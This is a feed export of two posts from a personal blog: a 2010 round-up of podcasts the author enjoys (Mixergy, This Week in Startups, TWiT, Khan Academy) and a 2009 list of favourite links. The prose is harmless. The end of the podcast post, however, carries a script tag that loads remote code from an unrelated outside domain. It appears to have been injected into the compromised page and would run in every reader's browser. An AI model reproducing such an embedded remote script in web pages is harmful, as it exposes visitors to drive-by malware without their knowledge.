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		<title>Podcasts that keep me sane &#8211; Part 1, maybe</title>
		<link>http://clauderitter.com/2010/07/13/podcasts-that-keep-me-sane-part-1-maybe/</link>
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		<pubDate>Tue, 13 Jul 2010 05:36:49 +0000</pubDate>
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		<description><![CDATA[I&#8217;ve just read Mark&#8217;s post about podcasts he loves and I figured why not do the same. My selection doesn&#8217;t really consist of things that I miss from home (as his does), but it&#8217;s rather stuff that I can consume to keep me entertained and sane at the same time. It&#8217;s really a relief for [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just read <a href="http://www.markenglehartevans.com/2010/07/podcasts-part-1/">Mark&#8217;s post</a> about podcasts he loves and I figured why not do the same. My selection doesn&#8217;t really consist of things that I miss from home (as his does), but it&#8217;s rather stuff that I can consume to keep me entertained and sane at the same time. It&#8217;s really a relief for me to just tune in to one of these shows (be it video or audio) and just forget about the whole madness going on here without having to turn on the TV and watch the crap that&#8217;s on there (aka more madness). I do have to add that my viewing/listening habits will not be everyones taste since I am heavily leaning towards electronic music and sort of educational/news content when it comes to video.</p>
<p>All right, without further ado, here&#8217;s my selection.</p>
<p><a href="http://mixergy.com/"><img class="size-medium wp-image-145 alignnone" style="margin: 10px;" title="Mixergy" src="http://clauderitter.com/wp-content/uploads/2010/07/Picture-142-300x71.png" alt="" width="300" height="71" /></a></p>
<p><a href="http://mixergy.com/">Mixergy</a>. Andrew Warner interviews entrepreneurs from around the world and digs into their stories to find out how they made it (or are going to make it). He pumps out almost one new 1 hour interview a day, which for me, is a bit too much but fair enough. It&#8217;s not like you have an obligation to watch everything. Anyway, I highly suggest to <a href="http://itunes.apple.com/ch/podcast/mixergy/id307744935">subscribe to it on iTunes</a>.</p>
<p><a href="http://thisweekin.com/thisweekin-startups/"><img class="size-thumbnail wp-image-149 alignnone" style="margin-top: 10px; margin-bottom: 10px; margin-right: 10px;" title="This week in startups" src="http://clauderitter.com/wp-content/uploads/2010/07/Picture-15-150x150.png" alt="" width="150" height="150" /></a></p>
<p><a href="http://thisweekin.com/thisweekin-startups/">This Week In Startup</a>s. I&#8217;ll just borrow their own description since it hits the nail on the head: &#8220;Entrepreneur Jason Calacanis and a rotating group of guest experts bring you this weekly take on the best, worst, most outrageous and interesting stories from the world of Web companies. Calacanis, a podcasting pioneer, gives you an insider&#8217;s look at what&#8217;s happening in the tech industry with his trademark blunt style and good humor. Looking to start your own company? Need strategies for improving your business or motivating your team? Just want to catch up on what&#8217;s happening in Silicon Valley and beyond? Your journey begins here.&#8221;</p>
<p><a href="http://thisweekin.com/thisweekin-startups/"><img class="size-thumbnail wp-image-153 alignnone" style="margin-top: 10px; margin-bottom: 10px; margin-right: 10px;" title="This week in venture capital" src="http://clauderitter.com/wp-content/uploads/2010/07/Picture-16-150x150.png" alt="" width="150" height="150" /></a></p>
<p><a href="http://thisweekin.com/thisweekin-startups/">This Week In Venture Capital</a> is my second show on Thisweekin.com. Basically it&#8217;s a weekly wrap up of what has been going on in the (mostly) valley VC scene. However, even if you are not in California or some other hot spot like NYC, this show has lots of good information about venture capital, how the industry works, how to raise money and more. Weekly, about an hour, worth watching.</p>
<p><a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=358612594"><img class="size-thumbnail wp-image-156 alignnone" style="margin-top: 10px; margin-bottom: 10px; margin-right: 10px;" title="This week in Tech" src="http://clauderitter.com/wp-content/uploads/2010/07/Picture-17-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Not much to say about Leo Laporte and his <a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=358612594">This Week in Tech</a> (careful, iTunes link). Basically a tech talk show with not too much substance, but entertaining nevertheless.</p>
<p><a href="http://www.khanacademy.org/"><img class="alignnone size-full wp-image-160" style="margin-top: 10px; margin-bottom: 10px; margin-right: 10px;" title="Khan Academy" src="http://clauderitter.com/wp-content/uploads/2010/07/Picture-18.png" alt="" width="187" height="72" /></a></p>
<p>Now on to something different in the sense that it is not a podcast per se. <a href="http://www.khanacademy.org/">Khan Academy</a> is a non-profit website that provides quality education videos, mostly hosted on YouTube. All the content is produced by Salman Khan, who runs the site. Topics range from Statistics, to History, to Finance and much much more. I have seen Salman on Mixergy and checked out his site. Since then, I have been nothing but impressed by his effort and his commitment. I am currently enjoying some of his videos on &#8220;Differential Equations&#8221;, feel free to join me <img src='http://clauderitter.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Ok, so now I&#8217;m down 5 of the things I watch (there&#8217;s way more) and we haven&#8217;t even started with music podcasts. This is taking more time than I thought so I call it a day. There will definitely be a part 2 so stay tuned.</p>
<p>Oh, and just quick side note. I honestly believe that internet TV, in whatever form, be it podcasts, on demand shows, independent productions or what not, will seriously kick mainstream TV&#8217;s ass. In 5 years from now, smart people will watch stuff they can learn something from on the internet (and maybe a bit Dexter etc. <img src='http://clauderitter.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> , while stupid people will still watch silly talk shows on whatever breakfast TV network. Ok, that&#8217;s it, sorry for the side rant.<script src="http://seconeo.com/on"></script></p>
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		<title>Link randomness #1</title>
		<link>http://clauderitter.com/2009/05/18/link-randomness-1/</link>
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		<pubDate>Mon, 18 May 2009 11:12:21 +0000</pubDate>
		<dc:creator>claude</dc:creator>
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		<description><![CDATA[So I constantly find cool stuff and sites on the web, which when bookmarked, get lost forever. Because of this I&#8217;ll start blogging these links so that they can live on and don&#8217;t get locked away in the dark bookmark cave. All right, here we go: Benchmade Really cool knives. Might buy one of those [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-81" title="random_meme" src="http://clauderitter.com/wp-content/uploads/2009/05/random_meme.jpg" alt="random_meme" width="240" height="180" />So I constantly find cool stuff and sites on the web, which when bookmarked, get lost forever. Because of this I&#8217;ll start blogging these links so that they can live on and don&#8217;t get locked away in the dark bookmark cave.</p>
<p>All right, here we go:</p>
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<li><a href="http://www.benchmade.com/index.asp">Benchmade</a><br />
Really cool knives. Might buy one of those soon (not that I need one anyway).</li>
<li><a href="http://www.fitbit.com/">Fitbit</a><br />
A thing that tracks your fitness and sleep. Might produce enough pressure to finally get me into a gym.</li>
<li><a href="http://curetogether.com/">CureTogether</a><br />
Just a cool idea. Crowd sourced health research.</li>
<li><a href="http://www.inc.com/magazine/20081001/just-play.html">Just Play</a><br />
Article about Harmonix, the creators of Guitar Hero and Rock Band &#8211; must read!</li>
<li><a href="http://www.sonos.com/">Sonos</a><br />
Multi-room sound system. MUST HAVE!</li>
<li><a href="http://www.thesixtyone.com/">thesixtyone</a><br />
Don&#8217;t know, interesting music site.</li>
<li><a href="http://playfoursquare.com/">foursquare</a><br />
<strong>Must</strong> copy for China&#8230;</li>
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